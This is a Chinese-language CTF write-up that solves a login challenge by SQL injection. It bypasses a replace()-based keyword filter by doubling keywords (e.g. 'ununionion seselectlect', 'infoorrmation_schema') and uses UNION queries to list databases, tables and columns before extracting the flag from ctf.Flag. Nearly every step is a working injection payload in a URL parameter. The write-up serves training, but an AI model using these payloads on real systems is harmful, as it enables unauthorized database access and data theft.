考點就是一系列的sql注入操作 和 replace函數過濾
進入頁面如圖
基礎過濾測試 union 、select 、information_schema試試有沒有被過濾
?username=admin&password=pwd %27 union select 1 %23
具體回顯如下:只保留了 1# ,這就說明被檢測到了union和select
check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#'' at line 1
雙寫一下呢(原理是猜測使用replace函數,查找到union和select等然後替換爲空)
?username=admin&password=pwd %27 ununionion seselectlect 1 %23
嗚呼~,看來是注入成功了,但是我們現在的列數還不對
?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23
加一下列數,發現測試到3的時候,出現了對我們很友善的回顯,注意看會顯得數字2 和 3 這是我們注入的第二列和第三列。
既然是mariadb就測試一下version函數能不能用吧
?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23
下圖算是印證了我們的注入點。
下面開始爆庫,發現當前連接的數據庫是geek。
?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,database() %23
然後爆所有數據庫名字
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
然後我們發現了ctf庫,推測這纔是有flag的庫 ,當然當前的庫也有可能。
爆表,此時注意information被過濾了or,from也被過濾了,還包括where所以都雙寫一下(原因是,一般處理方式都爲同一種)
發現被過濾的payload ,用geek庫做示例
?username=admin&password=pwd%20%27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23
雙寫後成功的payload
geek庫的表
?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23
ctf庫的表 ,此處發現Flag表
?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
查Flag表中的字段名都有什麼
?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag"%23
最後查最後的數據,從ctf庫中Flag表中的flag字段查一哈有啥
?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23